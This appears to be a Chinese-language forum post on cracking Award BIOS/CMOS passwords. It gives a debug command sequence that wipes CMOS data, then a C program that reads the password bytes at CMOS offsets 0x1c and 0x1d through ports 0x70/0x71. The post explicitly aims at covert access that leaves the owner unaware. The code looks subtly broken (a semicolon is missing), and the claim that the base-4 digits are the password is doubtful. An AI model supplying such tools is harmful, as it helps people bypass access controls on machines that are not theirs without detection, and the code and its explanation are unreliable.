一说到破解cmos密码,你可能说,咳,这有什么难的,用debug o 70 20 o 71 20 不就地了吗。 慢~~~,以上这种方法是通过向cmos芯片随便写入数字,使之在开机检测时无法通过奇偶校验导致cmos芯片数据重新初始化,自然密码也没有了,但是这种方法是破坏性的(暴力!),清除的不止是密码而已,cmos芯片的其他数据,包括CPU频率,ide借口设备等等都被清除了,而且,最重要的一点就是--在你破掉密码之后,别人就知道密码被破解了。这绝对不符合我们的原则---'我轻轻的走,正如我轻轻的来,敲一下esc,不留下一个足迹....'. 而用程序将cmos密码读出,绝对不会留下一点痕迹. 原理如下:award密码存在cmos芯片的0x1c,0x1d处的两个字节中,将这两个字节的数据读出来,用四进制表示,就是密码了. 以下为c语言的源程序:
代码: --------------------------------------------------------------------------------
#include <stdio.h> #include <dos.h> #include <conio.h>
main() { int i; char result; char temp=0 printf('The award bios password is:'); outportb(0x70,0x1d); result=inportb(0x71);
for(i=6;i>=0;i-=2) { temp=result; temp>>=i; temp=temp&0x03; printf('%d',temp); } outportb(0x70,0x1c); result=inportb(0x71);
for(i=6;i>=0;i-=2) { temp=result; temp>>=i; temp=temp&0x03; printf('%d',temp); } return 0; }
---------------------------------------------
ps:此程序只对award芯片的bios有效.
|